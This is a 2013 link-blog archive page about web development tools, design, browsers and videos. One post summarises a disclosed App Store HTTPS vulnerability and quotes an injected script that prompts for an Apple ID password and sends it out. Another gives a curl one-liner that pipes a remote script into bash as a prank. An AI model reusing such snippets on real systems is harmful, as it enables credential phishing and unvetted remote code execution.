Bart De Waele » Items by Bramus!

The History of Typography

Posted: May 13th, 2013, 2:41pm CEST by Bramus!

Tags: [edit]

A paper-letter animation about the history of fonts and typography.

(via bytte)

Permalink for 'Bram.us/2013/05/08/Ghostlab_%e2%80%94_Synchronized_testing_for_web_and_mobile.'

Ghostlab — Synchronized testing for web and mobile.

Posted: May 8th, 2013, 5:42pm CEST by Bramus!

Tags: [edit]

Ghostlab synchronizes scrolls, clicks, reloads and form input across all connected clients. This means what you’re testing is not the simple page load, but the full user experience.

The concept behind it is dead simple actually: start a webserver serving the project and inject some .js which keeps all connected browsers in sync using websockets.

Ghostlab →

Permalink for 'Bram.us/2013/05/03/Instagram_People_Tagging'

The McDonald’s Theory of Bad Ideas

Posted: May 1st, 2013, 4:13pm CEST by Bramus!

Tags: [edit]

I use a trick with co-workers when we’re trying to decide where to eat for lunch and no one has any ideas. I recommend McDonald’s.

An interesting thing happens. Everyone unanimously agrees that we can’t possibly go to McDonald’s, and better lunch suggestions emerge. Magic!

Remember: There are no bad ideas while brainstorming!

McDonald’s Theory →

(via ★)

Apple vs. Samsung wedding fight

Posted: May 1st, 2013, 4:10pm CEST by Bramus!

Tags: [edit]

Aren’t you a little young to have an iPhone?

(via ▼)

Responsive Inspector

Posted: May 1st, 2013, 4:03pm CEST by Bramus!

Tags: [edit]

Responsive Inspector is a simple Google Chrome extension that allows viewing media queries of visited websites. It is very useful when developing responsive web layouts as it can visually show what resolutions are defined in css stylesheets.

Responsive Inspector →

Indie Game Devs vs. Piracy

Posted: May 1st, 2013, 4:00pm CEST by Bramus!

Tags: [edit]

pirate-message

When we released our very first game, Game Dev Tycoon yesterday, we did something unusual and as far as I know unique. We released a cracked version of the game ourselves, minutes after opening our Store.

The cracked version is nearly identical to the real thing except for one detail … as players spend a few hours playing and growing their own game dev company, they will start to see the message pictured above, styled like any other in-game message.

And then the developers started looking up threads online where (pirate) users are complaining about them being affected by piracy and how hard it ruins them. Some hilarious stuff!

Above that I don’t see any reason why one would not buy it: it’s reasonably priced (7 EUR), DRM Free, and you can run it on the default threesome of platforms (Win/OS X/Linux).

What happens when pirates play a game development simulator and then go bankrupt because of piracy? →

Grand Theft Auto V: Michael. Franklin. Trevor.

Posted: May 1st, 2013, 3:53pm CEST by Bramus!

Tags: [edit]

New GTA V Teaser. Looking forward to this one!

Budweiser: The Buddy Cup

Posted: April 30th, 2013, 5:07pm CEST by Bramus!

Tags: [edit]

Definitely needs a I’m just clinking with you out of politeness but really don’t (want to) know you-button to prevent becoming friends after all

(via teusje)

Geoshizzle

Posted: April 29th, 2013, 4:06pm CEST by Bramus!

Tags: [edit]

Slides (with notes in Dutch) of a talk I gave at a recent Fronteers Meetup covering my love for mapping (projections and coordinate systems), Google Maps, and working with geodata.

Microsoft IllumiRoom

Posted: April 29th, 2013, 4:01pm CEST by Bramus!

Tags: [edit]

New IllumiRoom video. Really neat!

(via ▼)

Permalink for 'Bram.us/2013/04/26/It%e2%80%99s_not_a_web_app._It%e2%80%99s_an_app_you_install_from_the_web.'

It’s not a web app. It’s an app you install from the web.

Posted: April 26th, 2013, 4:15pm CEST by Bramus!

Tags: [edit]

webapp1

The people over at forecast.io on how often they receive mails from people looking for their app in the App Store where it is not to be found:/p>

You don’t get Forecast from the App Store: just go to http://forecast.io/ on your phone, and you’ll be given instructions on how to download it.

It’s 2013, and mobile browser technology has advanced tremendously in the past few years: hardware accelerated transforms and animations have made it easy to create perfectly smooth, jitter-free, interfaces, and there is no question in my mind that CSS is a more powerful way to layout dynamic content than Interface Builder.

Also contains a set of very good/practical pointers (CSS/JS/etc.) one can implement. That -webkit-overflow-scrolling: touch; tip for example is pure gold!

Don’t agree with the first part of their title though: people (including me) will label “apps installed from the web” or “apps built with web technologies” as “web apps” which you indeed can install locally, straight from the web. — Guess they don’t agree themselves either, as their promo pic is named webapp1.jpg … ;-)

It’s not a web app. It’s an app you install from the web. →

I know jQuery. Now what?

Posted: April 26th, 2013, 4:05pm CEST by Bramus!

Tags: [edit]

Remy Sharp on his stance to not include jQuery by default anymore:

The point is that today we have features natively available, and I’m trying to consider my audience before dropping in jQuery by default

Yet again one of the reasons why I teach my students bare/vanilla JS next to learning them to work with jQuery.

I know jQuery. Now what? →

Related: “JavaScript Developer” →

One Less JPG

Posted: April 26th, 2013, 3:54pm CEST by Bramus!

Tags: [edit]

People often build beautiful sites with multiple easy-to-use JavaScript libraries. Then, when it comes to addressing frontend performance, suddenly those libraries are an enormous download that the users are forced to bear.

Before you go worrying about how to minify every last library or shave tests out of Modernizr, try and see if you can remove just one photo from your design. It will make a bigger difference.

One Less JPG →

TraceGL

Posted: April 26th, 2013, 3:51pm CEST by Bramus!

Tags: [edit]

With traceGL you can see all JavaScript codeflow, in a high performance webGL visualiser. Its like an oscilloscope, for code.

DAAAAYUM!

TraceGL →

(via badassjs)

FlipperBot

Posted: April 26th, 2013, 3:45pm CEST by Bramus!

Tags: [edit]

FlipperBot, a robot designed to emulate the strategies employed by young sea turtles in order to traverse both firm terrain and sand with equal ease.

Permalink for 'Bram.us/2013/04/26/Sigur_R%c3%b3s_%e2%80%93_%c3%8dsjaki'

Sigur Rós – Ísjaki

Posted: April 26th, 2013, 3:42pm CEST by Bramus!

Tags: [edit]

The Internship

Posted: April 23rd, 2013, 1:19pm CEST by Bramus!

Tags: [edit]

Two salesmen whose careers have been torpedoed by the digital age find their way into a coveted internship at Google, where they must compete with a group of young, tech-savvy geniuses for a shot at employment.

Browser Repaint Performance

Posted: April 23rd, 2013, 1:16pm CEST by Bramus!

Tags: [edit]

cssmoon-continuouspaint

To hit 60fps, we sometimes need to go beyond JavaScript as the sole performance bottleneck for our pages and spend more time investigating paint and layout issues – styles might actually be the core cause of our sluggish performance.

The H shortcut within the Developer Tools sure comes in handy!

DevTools: Visually Re-engineering CSS For Faster Paint Times →
Profiling Long Paint Times with DevTools’ Continuous Painting Mode →

Long overdue: HTTPS for the App Store

Posted: April 23rd, 2013, 1:03pm CEST by Bramus!

Tags: [edit]

Early July 2012, I reported to Apple numerous vulnerabilities related to their App Store iOS app. Early March Apple finally issued a fix for it and turned on HTTPS for the App Store. I am really happy that my spare-time work pushed Apple to finally enabled HTTPS to protect users. This post discuss the vulnerabilities I found.

Attacks included Password stealing, App swapping, App fake upgrade, Preventing application installation, and Privacy leak mdash; All made possible by simply intercepting and manipulating the HTML that’s being used by the App Store app.

<script>
 password = prompt("Apple ID Password","");
 var s = document.createElement('script');
 s.type = "text/javascript";  
 s.src = "fakepassword=" + password;
 var script = document.createTextNode(s);
 document.getElementsByTagName('head')[0].appendChild(s);
</script>

May this be a lesson for all those offering services out there to enable SSL and route all traffic over HTTPS.

Apple finally turns HTTPS on for the App Store, fixing a lot of vulnerabilities →

In Defence of the Floppy Disk Save Symbol

Posted: April 22nd, 2013, 10:03pm CEST by Bramus!

Tags: [edit]

Kids-Today-1

Those who believe that the floppy cannot represent saving a document because nobody uses real floppy disks anymore miss an important point: while symbols initially piggyback on the meaning we assigned to a material object in order to stand in for something more abstract, once a symbol is used often enough, the symbol itself is enough to carry meaning, and the material object is no longer important.

In Defence of the Floppy Disk Save Symbol →

(via Cameron Moll)

Jetstrap

Posted: April 22nd, 2013, 4:02pm CEST by Bramus!

Tags: [edit]

Jetstrap is a 100% web-based interface building tool for Twitter Bootstrap. No software to download, just log in and build. Your work is accessible from anywhere.

Jetstrap →

Oblivion GFX Montage

Posted: April 22nd, 2013, 2:40pm CEST by Bramus!

Tags: [edit]

Montage of the user interfaces appearing in Oblivion

Building Facebook Home with Quartz Composer

Posted: April 18th, 2013, 10:24pm CEST by Bramus!

Tags: [edit]

Collection of videos introducing one to “programming” with Quartz Composer.

Next up: part 2, part 3, part 4, and part 5

Via ★

TowTruck

Posted: April 18th, 2013, 10:09pm CEST by Bramus!

Tags: [edit]

A service for your website that makes it surprisingly easy to collaborate in real-time.

By MozillaLabs. Just include a tad of JavaScript and boom, instant collaboration!

TowTruck →

(via teusje)

Oblivion 2013 Extensive Behind the Scenes Inside Look

Posted: April 16th, 2013, 11:47pm CEST by Bramus!

Tags: [edit]

Still looking forward to this one.

MacGyver and the new Mercedes-Benz Citan

Posted: April 15th, 2013, 8:42am CEST by Bramus!

Tags: [edit]

(via teusje)

Google Inactive Account Manager

Posted: April 13th, 2013, 1:45pm CEST by Bramus!

Tags: [edit]

2y5Bt_large_verge_medium_landscape

Using Inactive Account Manager, you can decide if and when your account is treated as inactive, what happens with your data and who is notified.

A few years ago I stumbled upon a WordPress plugin that did the same, can’t find it back though :-S

Google Inactive Account Manager →

Ninja Jamm

Posted: April 13th, 2013, 1:37pm CEST by Bramus!

Tags: [edit]

Ninja Jamm is the new remix App for iOS from Ninja Tune and Seeper. Featuring touch and gesture controls with a range of instant effects and remix modes, users can interact with their favourite Ninja Tune releases in a whole new way, or start using the intuitive interface to re-imagine the song as they desire by mixing, glitching, looping and re-timing tracks

Gonna give this app from one of my favorite record labels a spin …

Ninja Jamm (iTunes) →

Permalink for 'Bram.us/2013/04/13/The_View__A_%e2%80%9cBack_to_the_Camera_Shot%e2%80%9d_Supercut'

The View: A “Back-to-the-Camera Shot” Supercut

Posted: April 13th, 2013, 1:27pm CEST by Bramus!

Tags: [edit]

(via iso50)

Permalink for 'Bram.us/2013/04/11/bramus_router_%e2%80%94_A_lightweight_and_simple_object_oriented_PHP_Router'

bramus/router — A lightweight and simple object oriented PHP Router

Posted: April 11th, 2013, 1:46pm CEST by Bramus!

Tags: [edit]

For one of the courses I teach I was in need of a PHP Router. Having explored the available routers out there I found they either were:

Outdated
Not object oriented
(sorry Klein)
Rather bad at the separation of concerns
(sorry Ham & Klein; a router should only route, not handle templates/logging/sessions/…)
Not powerful enough
(sorry JREAM/route; there’s more than just GET you know)
To be part of a bigger framework
(sorry Silex and Slim)
Bloated for a one-time lab/to get things quickly up and running
(sorry Symfony Routing)
…

In the end I decided to write one myself which I’ve polised for publication over the past few days. The result is bramus/router, a lightweight and simple object oriented PHP Router. A typical implementation of the class is this:

// Require composer autoloader
require __DIR__ . '/vendor/autoload.php';

// Create a Router
$router = new \Bramus\Router\Router();

// Custom 404 Handler
$router->set404(function() {
	header('HTTP/1.1 404 Not Found');
	echo '404, route not found!';
});

// Static route: / (homepage)
$router->get('/', function() {
	echo '<h1>bramus/router</h1><p>Try these routes:<p><ul><li>/hello/<em>name</em></li><li>/blog</li><li>/blog/<em>year</em></li><li>/blog/<em>year</em>/<em>month</em></li><li>/blog/<em>year</em>/<em>month</em>/<em>day</em></li></ul>';
});

// Dynamic route: /hello/name
$router->get('/hello/(\w+)', function($name) {
	echo 'Hello ' . htmlentities($name);
});

// Dynamic route with (successive) optional subpatterns: /blog(/year(/month(/day(/slug))))
$router->get('/blog(/\d{4}(/\d{2}(/\d{2}(/[a-z0-9_-]+)?)?)?)?', function($year = null, $month = null, $day = null, $slug = null) {
	if (!$year) { echo 'Blog overview'; return; }
	if (!$month) { echo 'Blog year overview (' . $year . ')'; return; }
	if (!$day) { echo 'Blog month overview (' . $year . '-' . $month . ')'; return; }
	if (!$slug) { echo 'Blog day overview (' . $year . '-' . $month . '-' . $day . ')'; return; }
	echo 'Blogpost ' . htmlentities($slug) . ' detail (' . $year . '-' . $month . '-' . $day . ')';
});

// Thunderbirds are go!
$router->run();

(Yes, you must get your PCRE mojo on in order to define dynamic routes)

bramus/router also supports before route middlewares, before router middlewares, and after router middleware. These features allow one to integrate bramus/router with their favorite library (logging, templating, …):

$router = new \Bramus\Router\Router();
$tpl = new \Acme\Template\Template();

$router->get('/', function() use ($tpl) {
    $tpl->load('home.tpl');
    $tpl->setdata(array(
        'name' => 'Bramus!'
    ));
});

$router->run(function() use ($tpl) {
    $tpl->display();
});

An extensive writeup of these features is available on GitHub.

A final note worth mentioning is that bramus/router is installable via Composer and is unit tested.

bramus/router (GitHub) →
bramus/router on Packagist →
bramus/router Travis CI build status →

Permalink for 'Bram.us/2013/04/11/JSON.stringify__%e2%80%99s_arguments'

JSON.stringify()’s arguments

Posted: April 11th, 2013, 12:06pm CEST by Bramus!

Tags: [edit]

JSON.stringify() has more than one argument:

value – the value one wants to convert to a string
replacer – an array or a function to filter fields
space – the number of spaces (or a string) to use for indentation

var person = {"name":"Jim Cowart","location":{"city":{"name":"Chattanooga","population":167674},"state":{"name":"Tennessee","abbreviation":"TN","population":6403000}},"company":"appendTo"};

JSON.stringify(person, ["name", "company"], 4);
/* produces:
"{
    "name": "Jim Cowart",
    "company": "appendTo"
}"
*/

What You Might Not Know About JSON.stringify() →

(via tweeted:

)

Save for Web Claws

Posted: April 11th, 2013, 11:58am CEST by Bramus!

Tags: [edit]

tumblr_mkyy6hx55j1sng0aqo1_1280

Everyone has one

ALT+SHIFT+CMD+S

In case you want to know: here it’s PINKIE+MIDDLE+INDEX+THUMB. Lately I’ve been using RING+MIDDLE+INDEX and the S with the right hand INDEX/MIDDLE more often as that’s less stressful/more natural on the fingers.

Save for Web Claws →

Tell a four-word story

Posted: April 11th, 2013, 11:44am CEST by Bramus!

Tags: [edit]

If you want to start a business or launch a new project, you need to be able to describe your effort in four words. — Forget the elevator pitch. You only get four words.

Tell a four-word story →

(via tweeted:

)

Google Streetview Hyperlapse

Posted: April 11th, 2013, 11:37am CEST by Bramus!

Tags: [edit]

hyperlapse

Stunning webapp allowing one to create Google Streetview Hyperlapses

Hyperlapse — a technique combining time-lapse and sweeping camera movements typically focused on a point-of-interest

The results are amazing:

Google Streetview Hyperlapse →
Hyperlapse.js source (GitHub) →

(via tweeted:

)

Permalink for 'Bram.us/2013/04/11/Barry_%e2%80%93_Save_full_length_webpages_as_images_using_your_iPhone_and_iPad'

Barry – Save full length webpages as images using your iPhone and iPad

Posted: April 11th, 2013, 11:28am CEST by Bramus!

Tags: [edit]

one-two-three-image

Barry makes it really simple to capture a full length webpage. We scroll the full length of the page and save it to an image for you to use.

Barry →

JavaScript Dubstep Generator

Posted: April 11th, 2013, 11:24am CEST by Bramus!

Tags: [edit]

js-dubstep

Algorithmic dubstep generator. All DSP is done in Javascript – no samples.

JavaScript Dubstep Generator →

(via tweeted:

)

Superhero.js

Posted: April 9th, 2013, 10:09am CEST by Bramus!

Tags: [edit]

We come across a lot of great articles on creating, testing and maintaining large JavaScript applications. This page is a continously updated list of articles that help explain the syntax of JavaScript, how to organize your projects, how to test your code, and what’s on the horizon.

Superhero.js →

(via tweeted:

)

Permalink for 'Bram.us/2013/04/09/CSSCSS_%e2%80%93_A_CSS_redundancy_analyzer_that_analyzes_redundancy.'

CSSCSS – A CSS redundancy analyzer that analyzes redundancy.

Posted: April 9th, 2013, 9:56am CEST by Bramus!

Tags: [edit]

$ csscss path/to/styles.css path/to/other-styles.css

{.contact .content .primary} and {article, #comments} share 5 rules
{.profile-picture}, {.screenshot img} and {a.blurb img} share 4 rules
{.work h2:first-child, .archive h2:first-child, .missing h2:first-child, .about h2, .contact h2} and {body.home h2} share 4 rules
{article.blurb:hover} and {article:hover} share 3 rules

CSSCSS will parse any CSS files you give it and let you know which rulesets have duplicated declarations

CSSCSS →

Chardin.js

Posted: April 9th, 2013, 9:48am CEST by Bramus!

Tags: [edit]

Chardin.js is a jQuery plugin that creates a simple overlay to display instructions on existent elements. It is inspired by the recent Gmail new composer tour which I loved.

Chardin.js — Simple overlay instructions for your apps →

The Culture of Free and The Future of Google

Posted: April 9th, 2013, 9:40am CEST by Bramus!

Tags: [edit]

Anyone who still believes that Google is all about giving everything away for free, hasn’t really paid attention to just how much Google has changed. Google is not a free service anymore. It’s a premium service where you pay for what you use via Google Drive.

Lengthy article definitely worth your time; Highly recommended read.

The Culture of Free and The Future of Google →

(via tweeted:

)

Fluid

Posted: April 6th, 2013, 6:54pm CEST by Bramus!

Tags: [edit]

Fluid lets you create a Real Mac App (or “Fluid App”) out of any website or web application, effectively turning your favorite web apps into OS X desktop apps.

Fluid — Turn Your Favorite Web Apps into Real Mac Apps →

How far is it to Mars?

Posted: April 6th, 2013, 6:42pm CEST by Bramus!

Tags: [edit]

distance-to-mars

How far is it to Mars? →

Google Drive Application Data Folders

Posted: April 6th, 2013, 6:37pm CEST by Bramus!

Tags: [edit]

app-data

The ‘Application Data folder’ is a special folder that is only accessible by your application. Its content is hidden from the user, and from other apps. Despite being hidden from the user, the Application Data folder is stored on the user’s Drive and therefore uses the user’s Drive storage quota. The Application Data folder can be used to store configuration files, saved games data, or any other types of files that the user should not tamper with.

Google Drive Application Data Folders →

gist-embed

Posted: April 6th, 2013, 3:44pm CEST by Bramus!

Tags: [edit]

jQuery Plugin to embedding GitHub gists:

<code data-gist-id="gist-id"></code>

One can include single gists, individual files of a gist, or specific line numbers of gists.

gist-embed →

Flat Surface Shader

Posted: April 6th, 2013, 3:08pm CEST by Bramus!

Tags: [edit]

flat-surface-shader

Admit it, 3D is cool. But, you know what’s cooler? 2D. I love WebGL, but unfortunately it doesn’t work everywhere.

This lighting simulation can be configured to use either the 2D context of a canvas element or an array of SVG polygons to draw the triangles.

Flat Surface Shader →

Deleting Borders

Posted: April 6th, 2013, 2:59pm CEST by Bramus!

Tags: [edit]

Amatorski, one of Belgiums finest bands, has been fascinated by the way the internet is deleting borders. They collaborated with We Work We Play to create an art project bringing together music and visuals, in a mix of online and offline interaction.

Implemented using a custom JavaScript Metronome and Howler.js;
Rendered on <canvas> with Delaunay triangulation on top;
Powered by node.js

Deleting Borders →
Accompanying Deleting Borders Blogpost →

Combining Different Input Types With Datalists

Posted: April 6th, 2013, 2:42pm CEST by Bramus!

Tags: [edit]

inputs-datalists

By using <datalist>, you can define a list of suggestions you want the user to select from. Users can optionally select from your suggestions as well as typing it by themselves.

Turns out you can also combine it with the range, color, date, etc. input types

Datalist experiment →

URLs are for People, not Computers

Posted: April 6th, 2013, 1:58pm CEST by Bramus!

Tags: [edit]

We are all familiar with URLs: the string uniquely identifying the requested document. However, we don’t always consider they are more than that: URLs are user facing and should be considered important UI elements.

They should be clean, understandable, semantic, hierarchical and not excessively long.

And that’s why I have a (tiny) chapter dedicated on URL Design in the web courses I teach.

It’s also the reason why tweeted:

: thinking about an API forces you to structure & prioritize your data/content. When done right, structured data bears nice URLs — it’s a healthy side-effect.

URLs are for People, not Computers →

Device APIs in the Wild: Fun with the Light Sensor

Posted: April 6th, 2013, 1:49pm CEST by Bramus!

Tags: [edit]

(via A List Apart)

Permalink for 'Bram.us/2013/04/06/Boston_Dynamic%e2%80%99s_Petman_Test_Camo'

Boston Dynamic’s Petman Test Camo

Posted: April 6th, 2013, 1:41pm CEST by Bramus!

Tags: [edit]

“I, For One, Welcome Our New Robot Overlords” comes to mind …

Game of Thrones, 1995 style

Posted: April 6th, 2013, 1:21pm CEST by Bramus!

Tags: [edit]

Related: Breaking Bad, 1995 Style →

The reality of head-mounted displays

Posted: April 5th, 2013, 2:19pm CEST by Bramus!

Tags: [edit]

I’m concerned about two things: one, that audiences who have never been exposed to VR or HMDs have unrealistic expectations and will be disappointed when they see the real thing; two, that software ported from the desktop world will carry over baggage from that world that will lead to a sub-optimal experience.

Watch the video. Worth your time.

The reality of head-mounted displays →

(via tweeted:

)

Openness does not scale

Posted: April 4th, 2013, 1:11pm CEST by Bramus!

Tags: [edit]

Openness and success are not compatible. Openness does not scale, no matter how hard you try.

Openness does not scale →

Related: Why What You’re Reading About Blink Is Probably Wrong, a Chrome Developer talking about the aforementioned Blink:

When landing a patch in both WebKit and Chromium stretches into a multi-day dance of flags, stub implementations, and dep-rolls, that’s many steps away [from directness].

…

In all honesty, we may have paid too high a price for too long because of this desire to stay close to WebKit.

Think about it.

Servo: Next Generation Web Browser Engine by Mozilla and Samsung

Posted: April 4th, 2013, 12:46pm CEST by Bramus!

Tags: [edit]

Servo is an attempt to rebuild the Web browser from the ground up on modern hardware, rethinking old assumptions along the way. This means addressing the causes of security vulnerabilities while designing a platform that can fully utilize the performance of tomorrow’s massively parallel hardware to enable new and richer experiences on the Web. To those ends, Servo is written in Rust, a new, safe systems language developed by Mozilla along with a growing community of enthusiasts.

Written in Rust. No mention of what will happend to Gecko whatsoever in the announcement

Mozilla and Samsung Collaborate on Next Generation Web Browser Engine →
The Servo Parallel Browser Project (GitHub) →

Turn Dropbox into a Web server with Site44

Posted: April 4th, 2013, 12:45am CEST by Bramus!

Tags: [edit]

Edit your HTML locally, and your website will always be up-to-date.

Site44 →

Low-Poly

Posted: April 4th, 2013, 12:00am CEST by Bramus!

Tags: [edit]

lp-21479a3d99de4248a111321447d31d65

lp-8643641332ac0c5a5379cb1ac7a72c25

Lovely work by Timothy J. Reynolds

Low-Poly, Isometric Worlds →
Low-Poly, Animal Kingdom →

aprilFools.css

Posted: April 3rd, 2013, 11:56pm CEST by Bramus!

Tags: [edit]

687474703a2f2f7765732e696f2f4e75426d2f636f6e74656e74

A tad late, but here it is nonetheless: A collection of user styles that change the default rendering of websites. Perfect way to fool someone on April 1st.

Put these CSS definitions into your co-workers css overriding file. They will be applied to every website they visit. They are commented out by default, so make sure to uncomment your favourite ones!

Includes CSS to flip the entire site, flip all images, blur an entire site, etc.

aprilFools.css →

Related: Fool.js, a jQuery plugin containing some April Fools pranks to embed on your site.

Blink: A rendering engine for the Chromium project

Posted: April 3rd, 2013, 11:45pm CEST by Bramus!

Tags: [edit]

blink

Google just announced it’ll fork Webkit for use with Chrome/Chromium as it has become too difficult to add features to it as Chrome uses quite a different multi-process architecture than other WebKit-based browsers:

When Chromium started, our goal was to change as little of WebKit as possible, easing integration with the WebKit codebase. With Blink we are excited to make large-scale architectural changes to the code, without having to worry about breaking other consumers of WebKit.

When Opera announced they’re dropping Presto in favor of Webkit, they actually meant Blink (src).

Blink →
Blink Announcement →

Related: What is/isn’t Webkit?

iD Editor

Posted: April 3rd, 2013, 11:30pm CEST by Bramus!

Tags: [edit]

iD is a new, friendly editor for OpenStreetMap. It offers newcomers an easy way into editing OSM and is intended to complement existing editing software.

Looks nice!

idEditor →
idEditor Source (GitHub) →

The Web as a Platform for Gaming

Posted: April 3rd, 2013, 11:22pm CEST by Bramus!

Tags: [edit]

By leveraging this new JavaScript optimization technology (asm.js), Mozilla has been able to bring Epic’s Unreal Engine 3 to the Web. With this port, developers will soon be able to explore limitless possibilities when it comes to porting their popular gaming titles to the Web.

Mozilla is Unlocking the Power of the Web as a Platform for Gaming →

Koken

Posted: April 3rd, 2013, 11:18pm CEST by Bramus!

Tags: [edit]

koken-app-library_m

koken-site-preview-madison_m

Koken is a free system designed for photographers, designers, and creative DIYs to publish independent websites of their work.

Also syncs with Adobe Photoshop Lightroom. Looks like an ideal CMS for photographers.

Koken – Creative website publishing →

Getting to your minimum hourly rate

Posted: April 3rd, 2013, 11:11pm CEST by Bramus!

Tags: [edit]

So how do you calculate your hourly rate? That’s easy, it’s the salary you want to make, divided by 52 weeks a year, divided by 40 hours a week. Simple!

Right, right?! It’s a tad more complex though:

monthly-expenses

Next to showing one how to calculate the minimum rate, it also holds some golden advice:

If you go below your minimum rate, even for a friend or charity, you are hurting yourself and your business. There is no shame in passing on work, if you are putting yourself in financial trouble.

Getting to your minimum hourly rate →

Editing and Saving CSS/JS using the Chrome Dev Tools

Posted: April 3rd, 2013, 10:56pm CEST by Bramus!

Tags: [edit]

My Workflow: Never having to leave DevTools →

SwipeOut

Posted: April 3rd, 2013, 10:47pm CEST by Bramus!

Tags: [edit]

swipeout

Swipe-to-delete goodness for the web

Swipeout →
Swipeout Demo →

Rick Astley in your Terminal

Posted: April 3rd, 2013, 2:46pm CEST by Bramus!

Tags: [edit]

curl -L https://raw.github.com/keroserene/rickrollrc/master/roll.sh | bash

(via tweeted:

)

OneTab extension for Chrome

Posted: April 3rd, 2013, 1:09am CEST by Bramus!

Tags: [edit]

onetab

Whenever you find yourself with too many tabs, click the OneTab icon to convert all of your tabs into a list. When you need to access the tabs again, you can either restore them individually or all at once.

Might be a good alternative when having about 100 tabs open and having to switch to an other profile/browser/build to keep things speedy …

OneTab extension for Chrome →

Alfred Dev Doctor

Posted: April 3rd, 2013, 1:06am CEST by Bramus!

Tags: [edit]

Alfred Dev Doctor is a really simple documentation helper for alfred.

Supports PHP, JavaScript, jQuery, HTML, CSS, node.js, Ruby, …

Alfred Dev Doctor →

QR Code Terminal

Posted: April 3rd, 2013, 1:02am CEST by Bramus!

Tags: [edit]

qr-code-terminal

qrcode-terminal is a tiny npm module that allows you to encode text as a QR code and render it to a UNIX-compatible terminal.

// render QR code to the console
qrcode.generate('http://michaelbrooks.ca');

// return QR code as a string
qrcode.generate('http://michaelbrooks.ca', function (qrcode) {
    console.log(qrcode);
});

QR Code Terminal →

Sonic Creator

Posted: April 3rd, 2013, 12:59am CEST by Bramus!

Tags: [edit]

With this tool you can create your own animated Sonic loader. Three graphics will appear below: An HTML5 Canvas running through Sonic, a regular GIF, generated via a modified version of SonicGIF (using jsgif), and a PNG Sprite.

SPINNERS!

Sonic Creator →

Permalink for 'Bram.us/2013/04/03/M%c3%a9tropolitain'

Métropolitain

Posted: April 3rd, 2013, 12:55am CEST by Bramus!

Tags: [edit]

metropolitain

Metropolitain is a visual and interactive experiment on the Parisian underground network

Métropolitain →
Métropolitain: a fresh outlook on Paris’ metro system →

Permalink for 'Bram.us/2013/04/03/Teton_Gravity_Research_Aerial_Reel_%e2%80%93_The_Bay_Area_in_4K'

Teton Gravity Research Aerial Reel – The Bay Area in 4K

Posted: April 3rd, 2013, 12:51am CEST by Bramus!

Tags: [edit]

From the Golden Gate Bridge to Alcatraz to the Bay Lights at night, see the Bay Area’s most iconic locations like you’ve never seen them before. Shot in 4K/”Ultra-HD,” Teton Gravity Research presents the first footage from their new RED Epic-equipped gyrostabilized camera platform: The GSS C520.

Map Projection Transitions

Posted: April 3rd, 2013, 12:50am CEST by Bramus!

Tags: [edit]

map-projection-transitions

Automatically cycles between the various map projections.

Map Projection Transitions →
Based on Projection Transitions →

Graphene

Posted: March 26th, 2013, 12:23am CET by Bramus!

Tags: [edit]

In 2012, a group of researchers at UCLA discovered they could make single-layer sheets of graphene by coating a DVD with graphite oxide and then “playing” the disc in a plain old DVD drive. And then in a happy accident, they found that graphene has ususually high supercapacitance properties, which could mean that graphene could be used, for example, as a mobile phone battery that lasts all day, charges in a few seconds, and can be thrown into a compost bin after use.

It can also spice things up when it comes to wireless networking

(via kottke)

Silex Code Fiddles/Examples

Posted: March 25th, 2013, 10:16pm CET by Bramus!

Tags: [edit]

silex

For the course Webscripting2 I’m lecturing at ikdoeict.be/KaHo Sint-Lieven, we’re working with Silex. Next to the slidedeck explaining Silex, all examples are freely available on GitHub (links at the bottom of this post)

The collection of examples start with the very basics of Silex and introduce more routing options and services as they continue.

Basic:
The basic Silex app structure.
Hello:
The infamous Hello world showcasing the basic Silex app structure, dynamic routing, redirects, and error handlers.
Olleh:
More routing showcasing requirements, default values, and Route Variable Converters.
Tweets:
Practical example demonstrating routes using some (static) data.
Tweets Organized:
Organizes the controllers for the different routes in classes; it’s all about the structure!
Tweets Twig:
Introduces the built-in TwigServiceProvider, allowing one to use Twig within a Silex app.
Doctrine:
Introduces the built-in DoctrineServiceProvider, allowing one to use Doctrine’s DBAL within a Silex app.
Doctrine Organized:
Organizes our codebase a tad better: per entity we introduce a repository which acts as a database layer. Depends on the custom Service Provider knplabs/repository-service-provider (loaded via Composer).
Static Pages:
Introduces named routes, the UrlGeneratorServiceProvider and a neat little trick to quickly add a few static pages to a project
Middlewares:
Introduces Middlewares and along with that the MonologServiceProvider
Forms & Validation:
Introduces the FormServiceProvider and ValidatorServiceProvider

More examples are still in development. The examples are best studied along with the accompanying slides.

Webscripting2 – Serverside Scripting – Silex Code Fiddles →
Webscripting2 – Serverside Scripting – Course Materials →

Note: the course materials are best cloned locally. The fiddles are also included in that repository. Be sure to composer install all examples.

Permalink for 'Bram.us/2013/03/25/%c3%89v%c3%a9nement_%e2%80%94_PHP_Event_Dispatcher'

Événement — PHP Event Dispatcher

Posted: March 25th, 2013, 9:33pm CET by Bramus!

Tags: [edit]

Événement is a very simple event dispatching library for PHP. It has the same design goals as Silex and Pimple, to empower the user while staying concise and simple.

Concise indeed. At the core it’s a tad above 50 lines of codes.

Listening for events:

$emitter->on('user.created', function (User $user) use ($logger) {
    $logger->log(sprintf("User '%s' was created.", $user->getLogin()));
});

Dispatching events:

$emitter->emit('user.created', array($user));

Événement →

How to troll frontend web developers

Posted: March 25th, 2013, 2:08pm CET by Bramus!

Tags: [edit]

@media only screen and (min-width: 960px) and (max-width: 970px) {
    body {
        -webkit-transform : rotate(180deg);
        -moz-transform : rotate(180deg);
        -o-transform : rotate(180deg);
        transform : rotate(180deg);
    }
}

That’ll teach them, constantly resizing their browser windows and what not! — Puh!

(via)

Permalink for 'Bram.us/2013/03/23/Sublime_Web_Inspector_%e2%80%94_Debug_JavaScript_in_SublimeText'

Sublime Web Inspector — Debug JavaScript in SublimeText

Posted: March 23rd, 2013, 8:44pm CET by Bramus!

Tags: [edit]

Set and remove breakpoints right in SublimeText

See all console messages with level

See object properties

See a stack and all variables (local, global, closure)

Evaluate selection on current call frame

Live reload

Sublime Web Inspector →

CSS Jellyfish

Posted: March 23rd, 2013, 8:20pm CET by Bramus!

Tags: [edit]

css-jellyfish

CSS Jellyfish →

Permalink for 'Bram.us/2013/03/23/wp_cli_%e2%80%94_A_command_line_interface_for_WordPress'

wp-cli — A command line interface for WordPress

Posted: March 23rd, 2013, 6:05pm CET by Bramus!

Tags: [edit]

wp-cli is a set of command-line tools for managing WordPress installations. You can update plugins, set up multisite installs, create posts and much more.

Once installed, you can run commands such as:

wp plugin install hello-dolly

which will output:

Installing Hello Dolly (1.5)

Downloading install package from http://downloads.WordPress.org/plugin/hello-dolly.1.5.zip ...
Unpacking the package ...
Installing the plugin ...
Plugin installed successfully.

